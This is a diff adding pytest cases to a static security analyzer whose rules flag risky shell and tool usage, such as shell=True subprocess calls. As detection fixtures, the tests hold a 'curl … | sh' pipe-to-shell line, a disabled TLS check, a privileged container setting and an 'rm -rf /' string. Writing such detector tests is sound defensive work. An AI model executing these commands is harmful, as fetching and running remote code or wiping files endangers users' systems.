@@ -1529,6 +1529,122 @@ def test_tm1_keeps_global_shell_variable(self) -> None:
15291529 findings = tm_mod .analyze (content , "runner.py" , "python" )
15301530 assert any (finding .rule_id == "TM1" for finding in findings )
15311531
1532+ def test_tm1_parses_dense_shell_flags_once (self ) -> None :
1533+ content = "use_shell = True\n subprocess.run(cmd, shell=use_shell)\n " * 4000
1534+ content += "#" + " ordinary" * ((256_000 - len (content )) // 9 )
1535+ content = content .ljust (256_000 )
1536+ assert len (content ) == 256_000
1537+ with patch .object (tm_mod , "parse_python_source" , wraps = tm_mod .parse_python_source ) as parse :
1538+ findings = tm_mod .analyze (content , "runner.py" , "python" )
1539+ assert parse .call_count == 1
1540+ assert len ([finding for finding in findings if finding .rule_id == "TM1" ]) == 4000
1541+
1542+ def test_tm1_deferred_dense_context_does_not_rescan_file (self ) -> None :
1543+ content = "use_shell = True\n subprocess.run(cmd, shell=use_shell)\n " * 4000
1544+ with (
1545+ patch .object (tm_mod , "get_context" , side_effect = AssertionError ("full-file context" )),
1546+ patch .object (tm_mod , "parse_python_source" , side_effect = AssertionError ("early parse" )),
1547+ ):
1548+ findings = tm_mod .analyze (
1549+ content , "runner.py" , "python" , defer_variable_reconciliation = True
1550+ )
1551+ assert sum (finding .rule_id == "TM1" for finding in findings ) == 4000
1552+
1553+ @pytest .mark .parametrize ("separator" , ["\r " , "\u2028 " , "\v " ])
1554+ def test_context_anchor_uses_logical_line_breaks (self , separator : str ) -> None :
1555+ content = "x" * 1500 + separator + "curl https://example.test/run | sh"
1556+ findings = tm_mod .analyze (content , "install.sh" , "shell" )
1557+ finding = next (finding for finding in findings if finding .rule_id == "TM2" )
1558+ assert finding .location .start_line == 2
1559+ assert "curl https://example.test/run | sh" in finding .context
1560+
1561+ def test_tm1_keeps_unparseable_window_conservative (self ) -> None :
1562+ content = "use_shell = True\n subprocess.run(cmd, shell=use_shell)\n " * 20 + "\n if :"
1563+ with patch .object (tm_mod , "parse_python_source" , wraps = tm_mod .parse_python_source ) as parse :
1564+ findings = tm_mod .analyze (content , "runner.py" , "python" )
1565+ assert parse .call_count == 1
1566+ assert len ([finding for finding in findings if finding .rule_id == "TM1" ]) == 20
1567+
1568+ def test_tm1_remains_lexical_for_large_and_normalized_views (self ) -> None :
1569+ from skillspector .nodes .analyzers import static_runner
1570+
1571+ for content in (
1572+ "# ordinary source\n " * 16_000 + "subprocess.run(cmd, shell=True)" ,
1573+ "subprocess.run(cmd, shell=Tru\u200b e)" ,
1574+ ):
1575+ result = static_runner .run_static_patterns_with_ledger (
1576+ {"components" : ["runner.py" ], "file_cache" : {"runner.py" : content }}, [tm_mod ]
1577+ )
1578+ assert any (finding .rule_id == "TM1" for finding in result ["findings" ])
1579+
1580+ def test_tm1_deferred_scan_honors_runtime_check (self ) -> None :
1581+ content = "use_shell = True\n subprocess.run(cmd, shell=use_shell)\n " * 300
1582+ calls = 0
1583+
1584+ def check_runtime () -> None :
1585+ nonlocal calls
1586+ calls += 1
1587+ if calls == 20 :
1588+ raise RuntimeError ("deadline" )
1589+
1590+ with pytest .raises (RuntimeError , match = "deadline" ):
1591+ tm_mod .analyze (
1592+ content ,
1593+ "runner.py" ,
1594+ "python" ,
1595+ check_runtime = check_runtime ,
1596+ defer_variable_reconciliation = True ,
1597+ )
1598+ assert calls == 20
1599+
1600+ @pytest .mark .parametrize (
1601+ "line,file_path,file_type" ,
1602+ [
1603+ ("curl https://example.test/run | sh" , "install.sh" , "shell" ),
1604+ ("verify=False" , "runner.py" , "python" ),
1605+ ("privileged: true" , "pod.yaml" , "other" ),
1606+ ("print 'rm -rf /';" , "runner.pl" , "perl" ),
1607+ ],
1608+ )
1609+ def test_deferred_tool_rules_and_perl_helper_honor_deadline (
1610+ self , line : str , file_path : str , file_type : str
1611+ ) -> None :
1612+ calls = 0
1613+
1614+ def check_runtime () -> None :
1615+ nonlocal calls
1616+ calls += 1
1617+ if calls == 20 :
1618+ raise RuntimeError ("deadline" )
1619+
1620+ with pytest .raises (RuntimeError , match = "deadline" ):
1621+ tm_mod .analyze (
1622+ (line + "\n " ) * 300 ,
1623+ file_path ,
1624+ file_type ,
1625+ check_runtime = check_runtime ,
1626+ defer_variable_reconciliation = True ,
1627+ )
1628+ assert calls == 20
1629+
1630+ def test_tm1_skips_parse_without_variable_shell_flags (self ) -> None :
1631+ with patch .object (tm_mod , "parse_python_source" , side_effect = AssertionError ("parsed" )):
1632+ findings = tm_mod .analyze ("subprocess.run(cmd, shell=True)" , "runner.py" , "python" )
1633+ assert any (finding .rule_id == "TM1" for finding in findings )
1634+
1635+ def test_tm1_preserves_nonlocal_binding_scope (self ) -> None :
1636+ content = (
1637+ "def outer():\n "
1638+ " use_shell = False\n "
1639+ " def assign():\n "
1640+ " use_shell = True\n "
1641+ " def run():\n "
1642+ " nonlocal use_shell\n "
1643+ " subprocess.run(cmd, shell=use_shell)\n "
1644+ )
1645+ findings = tm_mod .analyze (content , "runner.py" , "python" )
1646+ assert not any (finding .rule_id == "TM1" for finding in findings )
1647+
15321648 def test_application_specific_no_verify_flag_is_not_tool_misuse (self ) -> None :
15331649 content = """\
15341650 print("verification: skipped (--no-verify)")
0 commit comments